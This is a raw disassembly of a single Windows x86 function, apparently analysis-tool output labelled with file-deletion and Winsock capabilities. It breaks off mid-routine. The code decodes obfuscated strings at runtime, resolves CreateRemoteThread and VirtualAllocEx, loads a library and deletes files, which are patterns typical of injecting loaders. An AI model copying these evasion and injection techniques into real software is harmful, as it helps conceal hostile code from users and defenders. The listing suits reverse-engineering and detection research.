Function at 0x1000d600
Capabilities:
Delete file
Initialize winsock library
Set file attributes

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x100f0746
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x14dc
call fcn.100ccb40
mov eax, dword [0x10110164]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov esi, dword [ebp + 8]
mov dword [ebp - 0x14ac], esi
push 0x101122a4
lea ecx, [ebp - 0x14b4]
call fcn.1000ba90
xor ebx, ebx
mov dword [ebp - 4], ebx
call fcn.1000cc5e
test eax, eax
je 0x1000d66a
lock inc dword [0x101122a8]
inc ebx
jmp 0x10010900
lea eax, [ebp - 0x14a8]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x1000d691
or eax, 0xe0300000
push eax
call dword [sym.imp.KERNEL32.dll_SetLastError]
jmp 0x10010900
mov eax, dword [esi + 8]
test eax, eax
je 0x1000d6a9
mov ecx, 0x101ef078
xchg dword [ecx], eax
mov eax, dword [esi + 0x10]
mov ecx, 0x101ef07c
xchg dword [ecx], eax
push 0x100
call fcn.100ccadc
pop ecx
mov dword [ebp - 0x14b0], eax
mov byte [ebp - 4], 1
test eax, eax
je 0x1000d6cb
mov ecx, eax
call fcn.10062849
jmp 0x1000d6cd
mov eax, ebx
mov byte [ebp - 4], bl
mov dword [0x101ef2c0], eax
push 4
call fcn.100ccadc
pop ecx
mov ecx, eax
mov dword [ebp - 0x14b0], ecx
mov byte [ebp - 4], 2
test ecx, ecx
je 0x1000d6f3
xor eax, eax
xchg dword [ecx], eax
jmp 0x1000d6f5
mov ecx, ebx
mov byte [ebp - 4], bl
mov dword [0x101ef2c4], ecx
call fcn.1005f553
mov byte [ebp - 4], 3
call fcn.1006c2f6
push 0xe8
call fcn.100ccadc
pop ecx
mov dword [ebp - 0x14ec], eax
mov byte [ebp - 4], 4
test eax, eax
je 0x1000d72f
push esi
mov ecx, eax
call fcn.100afcf8
jmp 0x1000d731
mov eax, ebx
mov dword [ebp - 0x14c0], eax
mov byte [ebp - 4], 3
mov dword [0x10201ab4], eax
mov dword [ebp - 4], ebx
mov dword [0x10201ac0], 1
mov eax, dword [0x10201ab4]
mov eax, dword [eax + 0x10]
mov edi, dword [eax + 0x48]
mov dword [ebp - 0xe74], 0x4bab
mov eax, dword [ebp - 0xe74]
push 0x78
pop ecx
xor eax, ecx
mov word [ebp - 0xe70], ax
mov eax, dword [ebp - 0xe74]
inc eax
push 0x63
pop esi
xor eax, esi
mov word [ebp - 0xe6e], ax
mov eax, dword [ebp - 0xe74]
add eax, 2
xor eax, 0x6c
mov word [ebp - 0xe6c], ax
mov eax, dword [ebp - 0xe74]
add eax, 3
push 0x69
pop edx
xor eax, edx
mov word [ebp - 0xe6a], ax
mov eax, dword [ebp - 0xe74]
add eax, 4
push 0x6f
pop ecx
xor eax, ecx
mov word [ebp - 0xe68], ax
mov eax, dword [ebp - 0xe74]
add eax, 5
xor eax, 0x3a
mov word [ebp - 0xe66], ax
mov eax, dword [ebp - 0xe74]
add eax, 6
xor eax, 0x3a
mov word [ebp - 0xe64], ax
mov eax, dword [ebp - 0xe74]
add eax, 7
xor eax, 0x20
mov word [ebp - 0xe62], ax
mov eax, dword [ebp - 0xe74]
add eax, 8
xor eax, 0x6d
mov word [ebp - 0xe60], ax
mov eax, dword [ebp - 0xe74]
add eax, 9
xor eax, ecx
mov word [ebp - 0xe5e], ax
mov eax, dword [ebp - 0xe74]
add eax, 0xa
push 0x6e
pop ecx
xor eax, ecx
mov word [ebp - 0xe5c], ax
mov eax, dword [ebp - 0xe74]
add eax, 0xb
xor eax, 0x20
mov word [ebp - 0xe5a], ax
mov eax, dword [ebp - 0xe74]
add eax, 0xc
xor eax, edx
mov word [ebp - 0xe58], ax
mov eax, dword [ebp - 0xe74]
add eax, 0xd
xor eax, ecx
mov word [ebp - 0xe56], ax
mov eax, dword [ebp - 0xe74]
add eax, 0xe
xor eax, edx
mov word [ebp - 0xe54], ax
mov eax, dword [ebp - 0xe74]
add eax, 0xf
xor eax, 0x74
mov word [ebp - 0xe52], ax
mov eax, dword [ebp - 0xe74]
add eax, 0x10
xor eax, 0x20
mov word [ebp - 0xe50], ax
mov eax, dword [ebp - 0xe74]
add eax, 0x11
xor eax, esi
mov word [ebp - 0xe4e], ax
xor eax, eax
mov word [ebp - 0xe4c], ax
mov ax, word [ebp - 0xe70]
mov esi, dword [edi]
lea ecx, [ebp - 0xe74]
call fcn.1000b4cd
push eax
push edi
call dword [esi + 0x28]
pop ecx
pop ecx
mov eax, dword [0x10201ab4]
push dword [eax + 0xa8]
call fcn.1000cc24
push eax
call fcn.10070c6b
mov esi, eax
test esi, esi
jns 0x1000d903
call fcn.1000c545
push esi
jmp 0x1000d686
push 0x1105
mov ecx, dword [0x101ef2c0]
call fcn.10062860
test eax, eax
je 0x10010ab3
mov esi, dword [ebp - 0x14ac]
test dword [esi + 0x14], 0x800
jne 0x1000d9ea
mov eax, dword [0x10201ab4]
mov ecx, dword [eax + 0xa8]
mov esi, dword [0x101ef2d0]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x74]
push eax
mov edi, 0x208
push edi
lea eax, [ebp - 0x424]
push eax
call dword [esi + 0xc]
mov dword [ebp - 0xefc], 0xbfe9
mov eax, 0xbfb5
mov word [ebp - 0xef8], ax
lea ecx, [eax - 0x24]
mov word [ebp - 0xef6], cx
add eax, 0x25
mov word [ebp - 0xef4], ax
lea eax, [ecx + 0x36]
mov word [ebp - 0xef2], ax
mov word [ebp - 0xef0], cx
add eax, 0xffffffc5
mov word [ebp - 0xeee], ax
lea eax, [ecx - 0xd]
mov word [ebp - 0xeec], ax
xor eax, eax
mov word [ebp - 0xeea], ax
mov ax, word [ebp - 0xef8]
mov esi, dword [0x101ef2d0]
lea ecx, [ebp - 0xefc]
call fcn.10011237
push eax
push edi
lea eax, [ebp - 0x424]
push eax
call dword [esi + 0xb4]
lea eax, [ebp - 0x424]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, dword [ebp - 0x14ac]
jmp 0x1000d9ef
mov edi, 0x208
mov byte [ebp - 4], 6
push 0x178
call fcn.100ccadc
pop ecx
mov dword [ebp - 0x14e8], eax
mov byte [ebp - 4], 7
test eax, eax
je 0x1000da16
push esi
mov ecx, eax
call fcn.100a335e
jmp 0x1000da18
mov eax, ebx
mov dword [ebp - 0x14c4], eax
mov byte [ebp - 4], 6
mov dword [0x10201ab0], eax
mov dword [0x10201ac0], 2
mov esi, 0x188
push esi
call fcn.100ccadc
pop ecx
mov dword [ebp - 0x14e4], eax
mov byte [ebp - 4], 8
test eax, eax
je 0x1000da54
mov ecx, eax
call fcn.100a68be
jmp 0x1000da56
mov eax, ebx
mov dword [ebp - 0x14c8], eax
mov byte [ebp - 4], 6
mov dword [0x10201aac], eax
push esi
call fcn.100ccadc
pop ecx
mov dword [ebp - 0x14e0], eax
mov byte [ebp - 4], 9
test eax, eax
je 0x1000da83
mov ecx, eax
call fcn.100a93db
jmp 0x1000da85
mov eax, ebx
mov dword [ebp - 0x14cc], eax
mov byte [ebp - 4], 6
mov dword [0x10201aa8], eax
push 0x10
call fcn.100ccadc
pop ecx
mov dword [ebp - 0x14dc], eax
mov byte [ebp - 4], 0xa
test eax, eax
je 0x1000dab3
mov ecx, eax
call fcn.1006af8a
jmp 0x1000dab5
mov eax, ebx
mov dword [ebp - 0x14d0], eax
mov byte [ebp - 4], 6
mov dword [0x10201ab8], eax
mov dword [ebp - 4], ebx
push 0xd06
mov ecx, dword [0x101ef2c0]
call fcn.10062860
test eax, eax
je 0x10010ab3
call fcn.1000cdfa
push 0x1b01
mov ecx, dword [0x101ef2c0]
call fcn.10062860
test eax, eax
je 0x10010ab3
mov eax, dword [0x10201ab4]
mov ecx, dword [eax + 0xa8]
mov esi, dword [0x101ef2d0]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x74]
push eax
push edi
lea eax, [ebp - 0x21c]
push eax
call dword [esi + 0xc]
push 0x42
pop eax
mov word [ebp - 0x10f8], ax
add eax, 0x41
mov word [ebp - 0x10f6], ax
push 0x4b
pop ecx
mov word [ebp - 0x10f4], cx
push 0x3d
pop esi
mov word [ebp - 0x10f2], si
push 0x39
pop edx
mov word [ebp - 0x10f0], dx
push 0x3f
pop eax
mov word [ebp - 0x10ee], ax
push 0x41
pop eax
mov word [ebp - 0x10ec], ax
push 0x4a
pop eax
mov word [ebp - 0x10ea], ax
mov word [ebp - 0x10e8], cx
mov word [ebp - 0x10e6], si
push 0x35
pop ebx
mov word [ebp - 0x10e4], bx
push 0x4c
pop eax
mov word [ebp - 0x10e2], ax
push 0x40
pop eax
mov word [ebp - 0x10e0], ax
mov word [ebp - 0x10de], dx
mov word [ebp - 0x10dc], cx
mov word [ebp - 0x10da], bx
push 0x3c
pop eax
mov word [ebp - 0x10d8], ax
mov word [ebp - 0x10d6], ax
push 0x41
pop eax
mov word [ebp - 0x10d4], ax
push 0x4a
pop eax
mov word [ebp - 0x10d2], ax
mov word [ebp - 0x10d0], bx
push 0x49
pop eax
mov word [ebp - 0x10ce], ax
push 0x3b
pop eax
mov word [ebp - 0x10cc], ax
mov word [ebp - 0x10ca], dx
mov word [ebp - 0x10c8], cx
mov word [ebp - 0x10c6], bx
push 0x4c
pop eax
mov word [ebp - 0x10c4], ax
mov word [ebp - 0x10c2], si
push 0x3e
pop eax
mov word [ebp - 0x10c0], ax
push 0x3a
pop ecx
mov word [ebp - 0x10be], cx
mov word [ebp - 0x10bc], cx
push 0x3c
pop eax
mov word [ebp - 0x10ba], ax
mov word [ebp - 0x10b8], ax
mov word [ebp - 0x10b6], dx
push 0x4d
pop eax
mov word [ebp - 0x10b4], ax
mov word [ebp - 0x10b2], cx
push 0x49
pop eax
mov word [ebp - 0x10b0], ax
push 0x4e
pop eax
mov word [ebp - 0x10ae], ax
add eax, 0x37
mov word [ebp - 0x10ac], ax
xor eax, eax
mov word [ebp - 0x10aa], ax
mov ax, word [ebp - 0x10f8]
mov esi, dword [0x101ef2d0]
lea ecx, [ebp - 0x10f8]
call fcn.10010fcd
push eax
push edi
lea eax, [ebp - 0x21c]
push eax
call dword [esi + 0xb4]
lea eax, [ebx + 0x4b]
push eax
lea eax, [ebp - 0x21c]
push eax
mov ebx, dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
call ebx
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0x2104
mov ecx, dword [0x101ef2c0]
call fcn.10062860
test eax, eax
je 0x10010ab3
mov eax, dword [0x10201ab4]
mov ecx, dword [eax + 0xa8]
mov esi, dword [0x101ef2d0]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x74]
push eax
push edi
lea eax, [ebp - 0x21c]
push eax
call dword [esi + 0xc]
mov dword [ebp - 0x11e4], 0x9514
mov eax, 0x952e
mov word [ebp - 0x11e0], ax
add eax, 0x41
mov word [ebp - 0x11de], ax
mov eax, 0x952d
mov word [ebp - 0x11dc], ax
lea esi, [eax + 0x25]
mov word [ebp - 0x11da], si
add eax, 0x2a
mov word [ebp - 0x11d8], ax
lea ecx, [esi - 0x32]
mov word [ebp - 0x11d6], cx
lea edx, [esi - 0x30]
mov word [ebp - 0x11d4], dx
lea eax, [esi - 0x25]
mov word [ebp - 0x11d2], ax
mov word [ebp - 0x11d0], si
add eax, 0xfffffffa
mov word [ebp - 0x11ce], ax
add esi, 0xffffffe7
mov word [ebp - 0x11cc], si
mov word [ebp - 0x11ca], cx
mov word [ebp - 0x11c8], dx
lea eax, [ecx + 0xc]
mov word [ebp - 0x11c6], ax
add eax, 0x24
mov word [ebp - 0x11c4], ax
mov word [ebp - 0x11c2], si
mov word [ebp - 0x11c0], cx
add edx, 4
mov word [ebp - 0x11be], dx
lea eax, [ecx + 3]
mov word [ebp - 0x11bc], ax
add eax, 0x32
mov word [ebp - 0x11ba], ax
mov word [ebp - 0x11b8], si
lea eax, [ecx + 0x36]
mov word [ebp - 0x11b6], ax
add ecx, 2
mov word [ebp - 0x11b4], cx
add eax, 0xffffffcb
mov word [ebp - 0x11b2], ax
mov word [ebp - 0x11b0], dx
mov word [ebp - 0x11ae], si
mov word [ebp - 0x11ac], cx
mov ecx, 0x9524
mov word [ebp - 0x11aa], cx
lea esi, [ecx + 0x33]
mov word [ebp - 0x11a8], si
mov word [ebp - 0x11a6], ax
mov word [ebp - 0x11a4], dx
lea eax, [ecx + 0x2e]
mov word [ebp - 0x11a2], ax
mov word [ebp - 0x11a0], ax
dec eax
mov word [ebp - 0x119e], ax
mov word [ebp - 0x119c], cx
lea eax, [ecx - 1]
mov word [ebp - 0x119a], ax
mov word [ebp - 0x1198], cx
add eax, 0xa
mov word [ebp - 0x1196], ax
lea eax, [ecx + 0x45]
mov word [ebp - 0x1194], ax
xor eax, eax
mov word [ebp - 0x1192], ax
mov ax, word [ebp - 0x11e0]
mov esi, dword [0x101ef2d0]
lea ecx, [ebp - 0x11e4]
call fcn.100111db
push eax
push edi
lea eax, [ebp - 0x21c]
push eax
call dword [esi + 0xb4]
mov eax, 0x80
push eax
lea eax, [ebp - 0x21c]
push eax
call ebx
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push dword [ebp - 0x14ac]
call fcn.1000c19e
push 0x1105
mov ecx, dword [0x101ef2c0]
call fcn.10062860
test eax, eax
je 0x10010ab3
push 0xd06
mov ecx, dword [0x101ef2c0]
call fcn.10062860
test eax, eax
je 0x10010ab3
push 0x1b01
mov ecx, dword [0x101ef2c0]
call fcn.10062860
test eax, eax
je 0x10010ab3
push 0x2104
mov ecx, dword [0x101ef2c0]
call fcn.10062860
test eax, eax
je 0x10010ab3
call fcn.1000cae4
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test eax, eax
je 0x1000e688
call fcn.1000cae4
test eax, eax
je 0x1000e041
call fcn.1000cae4
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test eax, eax
je 0x1000e041
call fcn.1000cae4
mov edi, eax
mov dword [ebp - 0x1124], 0xb38e
mov eax, 0xb3f6
mov word [ebp - 0x1120], ax
lea esi, [eax - 9]
mov word [ebp - 0x111e], si
add eax, 0xffffffec
mov word [ebp - 0x111c], ax
lea eax, [esi - 6]
mov word [ebp - 0x111a], ax
add eax, 0xfffffffa
mov word [ebp - 0x1118], ax
lea eax, [esi - 0x39]
mov word [ebp - 0x1116], ax
mov word [ebp - 0x1114], ax
lea ecx, [esi - 0x3f]
mov word [ebp - 0x1112], cx
lea edx, [esi + 0x11]
mov word [ebp - 0x1110], dx
add eax, 0x3b
mov word [ebp - 0x110e], ax
lea eax, [esi - 0xa]
mov word [ebp - 0x110c], ax
mov word [ebp - 0x110a], cx
mov word [ebp - 0x1108], si
add eax, 0x17
mov word [ebp - 0x1106], ax
mov word [ebp - 0x1104], cx
lea eax, [esi - 0x3a]
mov word [ebp - 0x1102], ax
mov word [ebp - 0x1100], cx
add eax, 0xfffffff8
mov word [ebp - 0x10fe], ax
mov word [ebp - 0x10fc], dx
xor eax, eax
mov word [ebp - 0x10fa], ax
mov ax, word [ebp - 0x1120]
mov esi, dword [edi]
push dword [sym.imp.KERNEL32.dll_CreateThread]
lea ecx, [ebp - 0x1124]
call fcn.10002c85
push eax
push edi
call dword [esi + 0x20]
add esp, 0xc
call fcn.1000cae4
test eax, eax
je 0x1000e155
call fcn.1000cae4
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test eax, eax
je 0x1000e155
call fcn.1000cae4
mov edi, eax
mov dword [ebp - 0x1294], 0x9f4c
mov eax, 0x9f34
mov word [ebp - 0x1290], ax
lea esi, [eax - 5]
mov word [ebp - 0x128e], si
add eax, 0xffffffec
mov word [ebp - 0x128c], ax
lea eax, [esi - 0xa]
mov word [ebp - 0x128a], ax
add eax, 0xfffffffe
mov word [ebp - 0x1288], ax
lea eax, [esi + 0x47]
mov word [ebp - 0x1286], ax
mov word [ebp - 0x1284], ax
lea ecx, [esi + 0x3d]
mov word [ebp - 0x1282], cx
lea edx, [esi + 0xd]
mov word [ebp - 0x1280], dx
add eax, 0xffffffb7
mov word [ebp - 0x127e], ax
lea eax, [esi - 0xe]
mov word [ebp - 0x127c], ax
mov word [ebp - 0x127a], cx
mov word [ebp - 0x1278], si
add eax, 0x1d
mov word [ebp - 0x1276], ax
lea ebx, [esi + 9]
mov word [ebp - 0x1274], bx
mov word [ebp - 0x1272], cx
lea eax, [esi + 0x42]
mov word [ebp - 0x1270], ax
mov word [ebp - 0x126e], cx
add eax, 0xfffffff8
mov word [ebp - 0x126c], ax
mov word [ebp - 0x126a], dx
xor eax, eax
mov word [ebp - 0x1268], ax
mov ax, word [ebp - 0x1290]
mov esi, dword [edi]
push dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
lea ecx, [ebp - 0x1294]
call fcn.1000b841
push eax
push edi
call dword [esi + 0x20]
add esp, 0xc
call fcn.1000cae4
test eax, eax
je 0x1000e262
call fcn.1000cae4
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test eax, eax
je 0x1000e262
call fcn.1000cae4
mov edi, eax
push 0x7e
pop eax
mov word [ebp - 0xf54], ax
push 0x69
pop esi
mov word [ebp - 0xf52], si
push 0x72
pop eax
mov word [ebp - 0xf50], ax
push 0x6f
pop eax
mov word [ebp - 0xf4e], ax
push 0x75
pop eax
mov word [ebp - 0xf4c], ax
push 0x40
pop eax
mov word [ebp - 0xf4a], ax
mov word [ebp - 0xf48], ax
push 0x26
pop eax
mov word [ebp - 0xf46], ax
push 0x76
pop edx
mov word [ebp - 0xf44], dx
push 0x67
pop ecx
mov word [ebp - 0xf42], cx
push 0x73
pop ecx
mov word [ebp - 0xf40], cx
mov word [ebp - 0xf3e], ax
push 0x6d
pop ecx
mov word [ebp - 0xf3c], cx
push 0x7a
pop ebx
mov word [ebp - 0xf3a], bx
mov word [ebp - 0xf38], si
mov word [ebp - 0xf36], ax
push 0x43
pop ecx
mov word [ebp - 0xf34], cx
mov word [ebp - 0xf32], ax
push 0x2b
pop eax
mov word [ebp - 0xf30], ax
mov word [ebp - 0xf2e], dx
xor eax, eax
mov word [ebp - 0xf2c], ax
mov ax, word [ebp - 0xf54]
mov esi, dword [edi]
push dword [sym.imp.KERNEL32.dll_GetTickCount]
lea ecx, [ebp - 0xf54]
call fcn.10010fe6
push eax
push edi
call dword [esi + 0x20]
add esp, 0xc
push 0x72
pop esi
jmp 0x1000e268
push 0x72
pop esi
push 0x7a
pop ebx
call fcn.1000cae4
test eax, eax
je 0x1000e365
call fcn.1000cae4
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test eax, eax
je 0x1000e365
call fcn.1000cae4
mov edi, eax
mov word [ebp - 0xec0], bx
push 0x65
pop eax
mov word [ebp - 0xebe], ax
push 0x6e
pop eax
mov word [ebp - 0xebc], ax
push 0x6b
pop eax
mov word [ebp - 0xeba], ax
push 0x71
pop eax
mov word [ebp - 0xeb8], ax
push 0x3c
pop eax
mov word [ebp - 0xeb6], ax
mov word [ebp - 0xeb4], ax
push 0x22
pop ebx
mov word [ebp - 0xeb2], bx
mov word [ebp - 0xeb0], si
push 0x63
pop eax
mov word [ebp - 0xeae], ax
push 0x6f
pop eax
mov word [ebp - 0xeac], ax
mov word [ebp - 0xeaa], bx
push 0x78
pop eax
mov word [ebp - 0xea8], ax
push 0x73
pop eax
mov word [ebp - 0xea6], ax
mov word [ebp - 0xea4], bx
push 0x3f
pop eax
mov word [ebp - 0xea2], ax
mov word [ebp - 0xea0], bx
push 0x27
pop eax
mov word [ebp - 0xe9e], ax
mov word [ebp - 0xe9c], si
xor eax, eax
mov word [ebp - 0xe9a], ax
mov ax, word [ebp - 0xec0]
mov esi, dword [edi]
push dword [sym.imp.KERNEL32.dll_VirtualQuery]
lea ecx, [ebp - 0xec0]
call fcn.1001104a
push eax
push edi
call dword [esi + 0x20]
add esp, 0xc
jmp 0x1000e368
push 0x22
pop ebx
call fcn.1000cae4
test eax, eax
je 0x1000e483
call fcn.1000cae4
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test eax, eax
je 0x1000e483
call fcn.1000cae4
mov edi, eax
mov dword [ebp - 0x12c4], 0x99cd
mov eax, 0x99b5
mov word [ebp - 0x12c0], ax
add eax, 0xfffffff9
mov word [ebp - 0x12be], ax
mov eax, 0x99a1
mov word [ebp - 0x12bc], ax
add eax, 3
mov word [ebp - 0x12ba], ax
mov eax, 0x99a2
mov word [ebp - 0x12b8], ax
add eax, 0x55
mov word [ebp - 0x12b6], ax
mov word [ebp - 0x12b4], ax
mov ecx, 0x99ed
mov word [ebp - 0x12b2], cx
lea edx, [ecx - 0x30]
mov word [ebp - 0x12b0], dx
lea eax, [ecx - 0x41]
mov word [ebp - 0x12ae], ax
add eax, 0xfffffff4
mov word [ebp - 0x12ac], ax
mov word [ebp - 0x12aa], cx
lea eax, [ecx - 0x32]
mov word [ebp - 0x12a8], ax
inc eax
mov word [ebp - 0x12a6], ax
lea eax, [ecx - 0x45]
mov word [ebp - 0x12a4], ax
mov word [ebp - 0x12a2], cx
add eax, 0x48
mov word [ebp - 0x12a0], ax
mov word [ebp - 0x129e], cx
lea eax, [ecx - 5]
mov word [ebp - 0x129c], ax
mov word [ebp - 0x129a], dx
xor eax, eax
mov word [ebp - 0x1298], ax
mov ax, word [ebp - 0x12c0]
mov esi, dword [edi]
push dword [sym.imp.KERNEL32.dll_VirtualQueryEx]
lea ecx, [ebp - 0x12c4]
call fcn.1000b841
push eax
push edi
call dword [esi + 0x20]
add esp, 0xc
call fcn.1000cae4
test eax, eax
je 0x1000e57e
call fcn.1000cae4
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test eax, eax
je 0x1000e57e
call fcn.1000cae4
mov edi, eax
push 0x7a
pop ecx
mov word [ebp - 0xee8], cx
push 0x65
pop eax
mov word [ebp - 0xee6], ax
push 0x6e
pop eax
mov word [ebp - 0xee4], ax
push 0x6b
pop esi
mov word [ebp - 0xee2], si
push 0x71
pop esi
mov word [ebp - 0xee0], si
push 0x3c
pop eax
mov word [ebp - 0xede], ax
mov word [ebp - 0xedc], ax
mov word [ebp - 0xeda], bx
push 0x72
pop eax
mov word [ebp - 0xed8], ax
push 0x63
pop ecx
mov word [ebp - 0xed6], cx
push 0x6f
pop edx
mov word [ebp - 0xed4], dx
mov word [ebp - 0xed2], bx
push 0x78
pop edx
mov word [ebp - 0xed0], dx
mov word [ebp - 0xece], cx
mov word [ebp - 0xecc], bx
push 0x3f
pop ecx
mov word [ebp - 0xeca], cx
mov word [ebp - 0xec8], bx
push 0x27
pop ecx
mov word [ebp - 0xec6], cx
mov word [ebp - 0xec4], ax
xor eax, eax
mov word [ebp - 0xec2], ax
mov ax, word [ebp - 0xee8]
mov esi, dword [edi]
push dword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea ecx, [ebp - 0xee8]
call fcn.1001104a
push eax
push edi
call dword [esi + 0x20]
add esp, 0xc
call fcn.1000cae4
test eax, eax
je 0x1000e688
call fcn.1000cae4
mov ecx, dword [eax]
push eax
call dword [ecx + 0x34]
test eax, eax
je 0x1000e688
call fcn.1000cae4
mov edi, eax
mov eax, 0x82
mov word [ebp - 0xf28], ax
push 0x6d
pop eax
mov word [ebp - 0xf26], ax
push 0x76
pop eax
mov word [ebp - 0xf24], ax
push 0x73
pop eax
mov word [ebp - 0xf22], ax
push 0x79
pop eax
mov word [ebp - 0xf20], ax
push 0x44
pop eax
mov word [ebp - 0xf1e], ax
mov word [ebp - 0xf1c], ax
push 0x2a
pop ebx
mov word [ebp - 0xf1a], bx
push 0x7a
pop eax
mov word [ebp - 0xf18], ax
push 0x6b
pop ecx
mov word [ebp - 0xf16], cx
push 0x77
pop edx
mov word [ebp - 0xf14], dx
mov word [ebp - 0xf12], bx
add edx, 9
mov word [ebp - 0xf10], dx
mov word [ebp - 0xf0e], cx
push 0x6f
pop ecx
mov word [ebp - 0xf0c], cx
mov word [ebp - 0xf0a], bx
push 0x47
pop ecx
mov word [ebp - 0xf08], cx
mov word [ebp - 0xf06], bx
push 0x2f
pop ebx
mov word [ebp - 0xf04], bx
mov word [ebp - 0xf02], ax
xor eax, eax
mov word [ebp - 0xf00], ax
mov ax, word [ebp - 0xf28]
mov esi, dword [edi]
push dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
lea ecx, [ebp - 0xf28]
call fcn.10010fb4
push eax
push edi
call dword [esi + 0x20]
add esp, 0xc
push 0x73
pop esi
mov eax, dword [0x10201ab4]
mov ebx, dword [eax + 0xa8]
mov dword [ebp - 0x14ac], ebx
mov eax, dword [eax + 0x10]
mov ecx, dword [eax + 0x48]
mov dword [ebp - 0x14b8], ecx
mov dword [ebp - 0xd5c], 0x9ed5
mov eax, dword [ebp - 0xd5c]
push 0x78
pop edx
xor eax, edx
mov word [ebp - 0xd58], ax
mov eax, dword [ebp - 0xd5c]
inc eax
xor eax, 0x63
mov word [ebp - 0xd56], ax
mov eax, dword [ebp - 0xd5c]
add eax, 2
xor eax, 0x6c
mov word [ebp - 0xd54], ax
mov eax, dword [ebp - 0xd5c]
add eax, 3
xor eax, 0x69
mov word [ebp - 0xd52], ax
mov eax, dword [ebp - 0xd5c]
add eax, 4
push 0x6f
pop edi
xor eax, edi
mov word [ebp - 0xd50], ax
mov eax, dword [ebp - 0xd5c]
add eax, 5
push 0x3a
pop edx
xor eax, edx
mov word [ebp - 0xd4e], ax
mov eax, dword [ebp - 0xd5c]
add eax, 6
xor eax, edx
mov word [ebp - 0xd4c], ax
mov eax, dword [ebp - 0xd5c]
add eax, 7
push 0x20
pop edx
xor eax, edx
mov word [ebp - 0xd4a], ax
mov eax, dword [ebp - 0xd5c]
add eax, 8
xor eax, 0x78
mov word [ebp - 0xd48], ax
mov eax, dword [ebp - 0xd5c]
add eax, 9
xor eax, 0x69
mov word [ebp - 0xd46], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0xa
xor eax, 0x63
mov word [ebp - 0xd44], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0xb
xor eax, 0x6e
mov word [ebp - 0xd42], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0xc
xor eax, 0x66
mov word [ebp - 0xd40], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0xd
xor eax, edi
mov word [ebp - 0xd3e], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0xe
xor eax, edx
mov word [ebp - 0xd3c], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0xf
xor eax, 0x76
mov word [ebp - 0xd3a], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x10
push 0x3d
pop edi
xor eax, edi
mov word [ebp - 0xd38], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x11
xor eax, 0x25
mov word [ebp - 0xd36], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x12
xor eax, 0x64
mov word [ebp - 0xd34], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x13
xor eax, edx
mov word [ebp - 0xd32], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x14
xor eax, 0x6c
mov word [ebp - 0xd30], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x15
xor eax, 0x69
mov word [ebp - 0xd2e], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x16
xor eax, 0x63
mov word [ebp - 0xd2c], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x17
xor eax, edi
mov word [ebp - 0xd2a], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x18
xor eax, 0x25
mov word [ebp - 0xd28], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x19
xor eax, 0x6c
mov word [ebp - 0xd26], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x1a
xor eax, esi
mov word [ebp - 0xd24], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x1b
xor eax, edx
mov word [ebp - 0xd22], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x1c
push 0x70
pop edi
xor eax, edi
mov word [ebp - 0xd20], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x1d
xor eax, 0x6c
mov word [ebp - 0xd1e], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x1e
xor eax, 0x66
mov word [ebp - 0xd1c], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x1f
push 0x3d
pop edi
xor eax, edi
mov word [ebp - 0xd1a], ax
mov eax, dword [ebp - 0xd5c]
add eax, edx
xor eax, 0x25
mov word [ebp - 0xd18], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x21
xor eax, 0x6c
mov word [ebp - 0xd16], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x22
xor eax, esi
mov word [ebp - 0xd14], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x23
xor eax, edx
mov word [ebp - 0xd12], ax
mov eax, dword [ebp - 0xd5c]
push 0x24
pop edx
add eax, edx
xor eax, 0x66
mov word [ebp - 0xd10], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x25
xor eax, 0x6c
mov word [ebp - 0xd0e], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x26
xor eax, 0x67
mov word [ebp - 0xd0c], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x27
xor eax, edi
mov word [ebp - 0xd0a], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x28
xor eax, 0x25
mov word [ebp - 0xd08], ax
mov eax, dword [ebp - 0xd5c]
add eax, 0x29
xor eax, 0x30
